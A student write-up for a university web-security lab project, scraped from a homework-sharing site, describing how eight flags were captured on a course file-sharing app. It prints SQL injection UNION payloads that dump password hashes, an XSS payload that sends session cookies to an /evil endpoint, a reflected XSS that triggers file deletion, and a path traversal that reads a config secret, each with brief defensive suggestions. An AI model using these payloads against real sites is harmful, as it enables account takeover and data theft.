CS_161_Proj_3_Write_up_

pdf

School

University of California, Berkeley *

*We aren’t endorsed by this school

Course

61C

Subject

Computer Science

Date

Feb 20, 2024

Type

pdf

Pages

Uploaded by DeaconFlagArmadillo23

CS 161 Proj 3 Write up 1 CS 161 Proj 3 Write up Flag 1: dev I was able to find the password in the comments upon inspecting the element of the webpage. As seen below.  == $0 Flag 2: ip.txt “Renamed” Password.txt file to ip.txt, “Opened” it on machine, put 161.161.161.161 as content, deleted existing file on the server, uploaded edited ip.txt, shared with cs161. Flag 3: shomil ' UNION SELECT md5_hash FROM users WHERE username='shomil'-- On entering this into the List files “Search for a file: ______” we obtain shomil 's password hash Search results for ' UNION SELECT md5_hash FROM users WHERE username='shomil'-- 7f3af3a3ffd282bc516d4c45efa9112d Open Share Rename ip.txt Open Share Rename Suggestion: To prevent such an SQL injection attack, we can use parameterized queries or prepared statements instead of being able to user input SQL queries. We can also clean user input to remove any characters that could be used for SQL injection. Flag 4: nicholas We will edit the session token with SQL injection

CS 161 Proj 3 Write up 2 ' union select username from users where username= 'nicholas' -- The backend would think this is a request from nicholas and would enable us access to the account. Suggestion: We should use HTTPS for web traffic to prevent editing of the session tokens. Flag 5: cs161 For this exploit, we would first need to upload a random txt file to dev and then rename it to a particular file name given below. <script>fetch('/evil/report?message='+document.cookie)</script> We then share this file to the cs161 account to give the cs161 ’s session cookie by pushing it onto the /evil/logs page Suggestion: Cleaning and filtering the input to allow for safe input. Safe protocols like HTTPS. Flag 6: delete Using inspect and going to the network tab, we realize that pressing delete files redirects to the page https://box.cs161.org/site/deleteFiles. Because a search is displayed back to user, we can exploit this by putting a script in the URL. We modifying the original URL and inject an inline <script> tag exploit with: https://box.cs161.org/site/search?term=<script>fetch(‘https://box.cs161.org/site/delet eFiles',{method:'POST'})</script>; Suggestion: We can sanitize and escape all inputs from the user and potentially implement the Content Security Policy, which prevents users from performing XSS attacks with their inputs and prevents unexpected scripts execution.

CS 161 Proj 3 Write up 3 Flag 7: admin Similar to the flag 3, we input the following to List Files to dev, we find a user named uboxadmin. ' UNION SELECT username FROM users -- Running the query same as flag 3, ' UNION SELECT md5_hash FROM users WHERE username='uboxadmin'-- we get a hash which is also . We then use this password to log into the Admin user. Suggestion: A more secure hashing algorithm might prevent the conversion to the literal password. Flag 8: config Looking at the file structure, we we can use path traversal to get to the file we need, using ../config/config.yml. We also notice that opening some file random.txt , it redirects to https://box.cs161.org/site/file/random.txt, and so we upload any file, rename the file name to be ../config/config.yml, and then simply open the file. The secret is inside that file. server: name: UnicornBox use_tls: true port: 443 secrets: x: pancakes y: 42 z: i-think-we-can-safely-store-the-secret-here-4496645148 Suggestion: We can sanitize and escape all inputs from the user. We can also use only secure, well-tested functions and libraries to handle file operations. fc 5 e 038 d 38 a 57032085441 e 7 fe 7010 b 0 helloworld

Your preview ends here

Eager to read complete document? Join bartleby learn and gain access to the full version

Access to all documents
Unlimited textbook solutions
24/7 expert homework help

Related Documents

sample_midterm cs mcq.pdf

fire prevention essay.docx

Course Hero Logo.docx

module 2 short responses.docx

CS330-project proposal.docx

tutorial3.docx

Aestethic_soul-piercing_polyhalogen.docx

Skip To Content.docx

Excel_TTH.xlsx

exam-1-template.docx

Assignment2Sample.tex

Module Three Assignment - CS340.docx

Recommended textbooks for you

Programming with Microsoft Visual Basic 2017

Computer Science

ISBN:9781337102124

Author:Diane Zak

Publisher:Cengage Learning

EBK JAVA PROGRAMMING

Computer Science

ISBN:9781337671385

Author:FARRELL

Publisher:CENGAGE LEARNING - CONSIGNMENT

LINUX+ AND LPIC-1 GDE.TO LINUX CERTIF.

Computer Science

ISBN:9781337569798

Author:ECKERT

Publisher:CENGAGE L

Np Ms Office 365/Excel 2016 I Ntermed

Computer Science

ISBN:9781337508841

Author:Carey

Publisher:Cengage

A+ Guide To It Technical Support

Computer Science

ISBN:9780357108291

Author:ANDREWS, Jean.

Publisher:Cengage,

Oracle 12c: SQL

Computer Science

ISBN:9781305251038

Author:Joan Casteel

Publisher:Cengage Learning

SEE MORE TEXTBOOKS

Recommended textbooks for you

Programming with Microsoft Visual Basic 2017
Computer Science
ISBN:9781337102124
Author:Diane Zak
Publisher:Cengage Learning
EBK JAVA PROGRAMMING
Computer Science
ISBN:9781337671385
Author:FARRELL
Publisher:CENGAGE LEARNING - CONSIGNMENT
LINUX+ AND LPIC-1 GDE.TO LINUX CERTIF.
Computer Science
ISBN:9781337569798
Author:ECKERT
Publisher:CENGAGE L
Np Ms Office 365/Excel 2016 I Ntermed
Computer Science
ISBN:9781337508841
Author:Carey
Publisher:Cengage
A+ Guide To It Technical Support
Computer Science
ISBN:9780357108291
Author:ANDREWS, Jean.
Publisher:Cengage,
Oracle 12c: SQL
Computer Science
ISBN:9781305251038
Author:Joan Casteel
Publisher:Cengage Learning